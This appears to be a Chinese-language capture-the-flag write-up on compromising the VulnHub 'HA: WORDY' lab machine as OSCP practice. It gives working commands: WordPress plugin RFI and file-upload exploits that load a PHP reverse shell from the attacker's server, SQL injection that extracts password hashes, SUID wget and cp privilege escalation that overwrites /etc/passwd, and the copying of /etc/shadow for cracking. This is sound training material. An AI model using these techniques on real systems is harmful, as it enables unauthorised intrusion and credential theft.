靶场实战(19):OSCP备考之VulnHub HA WORDY

admin 2024年1月20日10:14:08评论11 views字数 7027阅读23分25秒阅读模式

交流技术可以关注公众号 OneMoreThink 或后台添加微信,欢迎提出宝贵建议。

0、总结

0.1、攻击思路

  1. 资产发现

    1. 主机发现

    2. 服务发现

  2. 漏洞发现(获取权限)

    1. 80端口/HTTP服务

      1. 组件漏洞

      2. URL漏洞:RFI、FileUpload

  3. 提升权限

    1. www-data用户

      1. sudo

      2. suid:wget、cp

0.2、攻击路径

  1. 获取权限

    1. 80 端口/HTTP 服务

      1. WordPress 插件 mail-masta 1.0,存在 RFI 远程文件包含 Nday 漏洞,可去下载反弹 webshell 并执行,反弹 www-data 用户权限。

      2. WordPress 插件 reflex-gallery 3.1.3,存在文件上传 Nday 漏洞,可被上传反弹 webshell 并执行,反弹 www-data 用户权限。

  2. 提升权限

    1. suid

      1. wget 命令,可以构造下载报错时执行提权代码,返回 root 用户权限。

      2. wget 命令,可以构造特权用户/etc/passwd 并下载覆盖旧的,获得 root 用户权限。

      3. cp 命令,可以构造特权用户/etc/passwd 并复制覆盖旧的,获得 root 用户权限。

0.3、防护建议

  1. 对资产清单开展漏洞扫描、渗透测试、配置核查、开源组件扫描等漏洞发现工作,并及时修复互联网高危 Nday 漏洞;

  2. 对资产清单开展流量侧、主机侧等的攻击监测工作,对真实的攻击行为进行及时阻断,对成功的攻击事件进行及时处置。

1、资产发现

1.1、主机发现

本次靶场HA: WORDY[1]指定 IP,不涉及主机发现过程。

1.2、服务发现

使用命令sudo -u root nmap 172.16.33.108 -n -Pn -p- --reason -sV -sC -O发现主机开放的端口、提供的服务、使用的组件、组件的版本。

靶场实战(19):OSCP备考之VulnHub HA WORDY

开放的端口

提供的服务

使用的组件

组件的版本

80/tcp

http

Apache httpd

2.4.29

-

os

Ubuntu Linux

?

2、漏洞发现(获取权限)

2.1、80 端口/HTTP 服务

2.1.1、组件漏洞

0x01、Web 中间件

使用命令searchsploit Apache httpd 2.4.未发现 Web 中间件 Apache httpd 2.4.29 的 Nday 漏洞。

靶场实战(19):OSCP备考之VulnHub HA WORDY

0x02、Web 框架

使用浏览器插件 Wappalyzer 未发现存在 Nday 漏洞的 Web 框架。

靶场实战(19):OSCP备考之VulnHub HA WORDY

2.1.2、URL 漏洞:RFI、FileUpload

0x01、直接访问

浏览器打开http://172.16.33.108/,只是 Web 中间件默认页面。

靶场实战(19):OSCP备考之VulnHub HA WORDY

0x02、目录扫描(dirsearch)

使用命令dirsearch -u http://172.16.33.108/ -x 403扫描网站的目录和文件并逐个检查,只有/wordpress/wp-login.php文件是有价值的。

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

使用命令wpscan --url http://172.16.33.108/wordpress/ --enumerate u扫描 WordPress 用户,发现adminaarti用户。

使用命令wpscan --url http://172.16.33.108/wordpress/ --usernames admin,aarti --passwords /usr/share/wordlists/rockyou.txt爆破这俩用户的密码,2 个小时各爆破了 12 万个密码都没爆出来。

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

使用命令wpscan --url http://172.16.33.108/wordpress/扫描 WordPress 插件,发现 7 个插件。

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

01、mail-masta 1.0 插件(RFI)

使用命令searchsploit mail masta发现插件 mail-masta 1.0 的 2 个 Nday 漏洞,本地文件包含和 SQLi。

使用命令searchsploit -m 48290将本地文件包含漏洞的 EXP 拷贝到当前目录后使用命令cat 40290.txt查看,获得漏洞 URL,最终构造 URLhttp://172.16.33.108/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd在浏览器中访问,成功拿到/etc/passwd 文件,确认存在 LFI 本地文件包含漏洞。

看下有没 RFI 远程文件包含漏洞获取 shell 权限,使用命令cp /usr/share/webshells/php/php-reverse-shell.php ./将反弹 webshell 拷贝到当前目录,使用命令vim php-reverse-shell.php修改 CHANGE THIS 处的监听 ip 和 port,使用命令python3 -m http.server搭建 Web 服务器给靶机下载反弹 webshell,使用命令nc -nvlp 33108监听反弹 shell,构造 URLhttp://172.16.33.108/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=http://10.8.0.110:8000/php-reverse-shell.php在浏览器中访问,最终拿到www-data用户的 shell 权限,成功突破边界。

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

使用命令searchsploit -m 41438将 SQLi 漏洞的 EXP 拷贝到当前目录后使用命令cat 41438.txt查看,一共是 4 个 SQLi 漏洞,但第 2-4 个需要登录 admin 账户后才能利用,而第 1 个不需要。构造 URLhttp://172.16.33.108/wordpress/wp-content/plugins/mail-masta/inc/lists/csvexport.php?list_id=0+OR+1%3D1&pl=/var/www/html/wordpress/wp-load.php进行访问,获得一个export.csv文件,但里面除了 Email 单词外啥也没有。

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

02、reflex-gallery 3.1.3 插件(FileUpload)

使用命令searchsploit reflex gallery发现插件 reflex-gallery 3.1.3 的 1 个 Nday 漏洞,是任意文件上传漏洞。使用命令searchsploit -m 36374将 EXP 拷贝到当前目录后使用命令cat 36374.txt查看漏洞利用方式,发现 EXP 里提供了文件上传漏洞的利用页面和文件上传后的 URL。

使用命令vim 36374.html编辑文件上传漏洞的利用页面后,使用命令python3 -m http.server搭建 Web 服务器,在浏览器中访问文件上传漏洞的利用页面http://127.0.0.1:8000/36374.html并上传改好了 ip 和 port 的反弹 Webshell/usr/share/webshells/php/php-reverse-shell.php,但是报错{"error":"Directory does not exist and could not be created."}

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

经过分析,要上传文件的文件夹不存在且不能创建,那就找个存在的文件夹吧。浏览发现存在2019-092022-11两个文件夹,修改文件上传漏洞的利用页面后重新上传反弹 webshell,最终上传成功。

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

使用命令nc -nvlp 33108监听端口后,浏览器访问反弹 webshell 地址http://172.16.33.108/wordpress/wp-content/uploads/2019/09/php-reverse-shell.php,最终成功获得 www-data 用户的权限。

靶场实战(19):OSCP备考之VulnHub HA WORDY

03、site-editor 1.1.1 插件(LFI)

使用命令searchsploit WordPress site editor发现插件 site-editor1.1.1 的 1 个 Nday 漏洞,是本地文件包含漏洞。使用命令searchsploit -m 44340将 EXP 拷贝到当前目录后使用命令cat 44340.txt获得漏洞 URL,最终构造 URLhttp://172.16.33.108/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd在浏览器中访问,成功拿到/etc/passwd 文件,确认存在 LFI 本地文件包含漏洞。

看下有没 RFI 远程文件包含漏洞获取 shell 权限,使用命令cp /usr/share/webshells/php/php-reverse-shell.php ./将反弹 webshell 拷贝到当前目录,使用命令vim php-reverse-shell.php修改 CHANGE THIS 处的监听 ip 和 port,使用命令python3 -m http.server搭建 Web 服务器给靶机下载反弹 webshell,使用命令nc -nvlp 33108监听反弹 shell,构造 URLhttp://172.16.33.108/wordpress/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=http://10.8.0.110:8000/php-reverse-shell.php在浏览器中访问,结果报错{"success":false,"message":"Error: didn't load shortcodes pattern file"},看来不存在远程文件件包含漏洞。

除此之外访问其它 Linux 文件、以及尝试进行命令执行,均无收获。

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

04、slideshow-gallery 1.4.6 插件

使用命令searchsploit slideshow gallery 1.4.6发现插件 slideshow-gallery 1.4.6 的 1 个 Nday 漏洞,是任意文件上传漏洞。使用命令searchsploit -m 34514将 EXP 拷贝到当前目录后使用命令cat 34514.txt查看漏洞详情,发现需要 admin 用户权限才能执行,只能放弃。

靶场实战(19):OSCP备考之VulnHub HA WORDY

05、wp-easycart-data 插件

使用命令searchsploit easycart data未发现 wp-easycart-data 插件的 Nday 漏洞。

靶场实战(19):OSCP备考之VulnHub HA WORDY

06、wp-support-plus-responsive-ticket-system7.1.3 插件

使用命令searchsploit wp support plus responsive ticket system发现 wp-support-plus-responsive-ticket-system7.1.3 插件的 2 个 Nday 漏洞,是 SQLi 和权限提升漏洞。

使用命令searchsploit -m 40939将 SQLi 漏洞的 EXP 拷贝到当前目录后使用命令cat 40939.txt查看漏洞详情,发现需要 admin 账户才能执行,只能作罢。
靶场实战(19):OSCP备考之VulnHub HA WORDY

使用命令searchsploit -m 41006将权限提升漏洞的 EXP 拷贝到当前目录后使用命令cat 41006.txt查看漏洞详情,发现需要 admin 账户才能执行,只能作罢。   

靶场实战(19):OSCP备考之VulnHub HA WORDY

07、wp-symposium15.1 插件(SQLi)

使用命令searchsploit wp symposium 15.1发现 wp-symposium15.1 插件的 3 个 Nday 漏洞,都是 SQLi。

靶场实战(19):OSCP备考之VulnHub HA WORDY

使用命令cat 37080.txt查看第一个 EXP 详情,有 3 个 Payload,逐个测试,未发现存在该 SQLi 漏洞。

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

使用命令cat 37824.txt查看第二个 EXP 详情,并构造漏洞验证 URLhttp://172.16.33.108/wordpress/wp-content/plugins/wp-symposium/get_album_item.php?size=version%28%29%20;%20--在浏览器中访问,成功获得响应,确认漏洞存在。

然后构造 POCconcat(user_login,char(58),user_pass) from wordpress.wp_users;--并进行 URL 编码,来读取 WordPress 的用户密码,获得admin:$P$BYWgfD7pa572QS9YFoeVVmhrIhBAx0.,但是CMD5[2]SOMD5[3]都无法解密,刚才 wpscan2 个小时爆破了 12 万个密码都没爆出来,因此放弃制作彩虹表。

想重置 admin 用户的密码,但用 sqlmap 识别出注入点不支持堆叠注入,无法执行 UPDATE 语句,只能作罢。

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

使用命令cat 37822.txt查看第三个 EXP 详情,并构造漏洞验证 Payload 和正常请求进行对比,结果两个请求的响应都是延迟相同的 21 秒,没有区别,因此不存在该延迟注入。

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

0x02、目录扫描(dirb)

使用命令dirb http://172.16.33.108/ -X .txt,.zip扫描网站的目录和文件,发现两个文件。其中/notes.txt文件让我们留意 ZIP 文件,而secret.zip文件里面是link.txt文件,需要密码才能解压出来,但是使用/usr/share/john/password.lst/usr/share/wordlists/rockyou.txt两个字典共计 1434 万个密码,都无法爆破出解压密码。

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

0x03、模糊测试

基于目前已知情况,没有对网站的目录和文件进行 FUZZ 的必要。

0x04、切换协议

使用浏览器访问https://172.16.33.108:80/,提示网站没有使用 SSL 协议。

靶场实战(19):OSCP备考之VulnHub HA WORDY

3、提升权限

使用命令which pythonwhich python3查看靶机使用哪个版本的 Python,发现使用了 Python3。使用命令python3 -c 'import pty; pty.spawn("/bin/bash")'获得交互式 shell。

靶场实战(19):OSCP备考之VulnHub HA WORDY

3.1、www-data 用户

3.1.1、sudo

使用命令sudo -l查看当前用户能以谁的权限执行什么命令,发现需要当前用户的 SSH 密码才能查看。由于没有,只能作罢。

靶场实战(19):OSCP备考之VulnHub HA WORDY

3.1.2、suid:wget、cp

使用命令find / -perm -u=s -type f -ls 2>/dev/null查看哪些命令在执行时会以该命令属主的权限执行,发现还不少。

靶场实战(19):OSCP备考之VulnHub HA WORDY

逐个在GTFOBins[4]查询能否用于提权,发现/usr/bin/wget可以。分别执行 EXPTF=$(mktemp)chmod +x $TFecho -e '#!/bin/sh -pn/bin/sh -p 1>&0' >$TF/usr/bin/wget --use-askpass=$TF 0,最终获得该命令属主 root 用户的权限,成功完成提权。

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

同时还可以往/etc/passwd 中植入特权用户进行提权,首先在靶机上使用命令cat /etc/passwd打印出来拷贝到本地。

然后在本地使用命令openssl passwd -6 -salt salt 123456生成 SSH 密码 123456,并基于刚才靶机打印出来的 passwd 文件,使用命令vim passwd创建植入了特权账户hacker和密码123456的新 passwd 文件,再使用命令python3 -m http.server开启 Web 服务器提供给靶机下载。

最后靶机使用命令wget http://10.8.0.110:8000/passwd -O /etc/passwd下载新的 passwd 文件覆盖旧的,最后使用命令su hacker和密码123456可以切换到 root 权限的 hacker 用户,成功进行提权。

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

逐个在GTFOBins[5]查询能否用于提权,发现/bin/cp可以,有 3 个 EXP,但逐个尝试,全都失败了无法提权。

但是可以在靶机上使用命令cp /etc/shadow /tmp/shadow将密码文件拷贝出来,然后在本地使用命令john shadow --wordlist=/usr/share/wordlists/rockyou.txt --format=crypt进行爆破,但是失败了,没能爆破出来。

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

靶场实战(19):OSCP备考之VulnHub HA WORDY

不过可以往/etc/passwd 中植入特权用户进行提权,步骤参考刚才 wget 的,只是最后靶机使用命令wget http://10.8.0.110:8000/passwd -O /tmp/passwd下载新的 passwd 文件,然后使用命令cp /tmp/passwd /etc/passwd进行替换,再使用命令su hacker和密码123456可以切换到 root 权限的 hacker 用户,成功进行提权。

靶场实战(19):OSCP备考之VulnHub HA WORDY

参考资料

[1]

HA: WORDY: https://www.vulnhub.com/entry/ha-wordy,363/

[2]

CMD5: https://cmd5.com

[3]

SOMD5: https://www.somd5.com

[4]

GTFOBins: https://gtfobins.github.io

[5]

GTFOBins: https://gtfobins.github.io

原文始发于微信公众号(OneMoreThink):靶场实战(19):OSCP备考之VulnHub HA WORDY

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月20日10:14:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   靶场实战(19):OSCP备考之VulnHub HA WORDYhttp://cn-sec.com/archives/2412686.html

发表评论

匿名网友 填写信息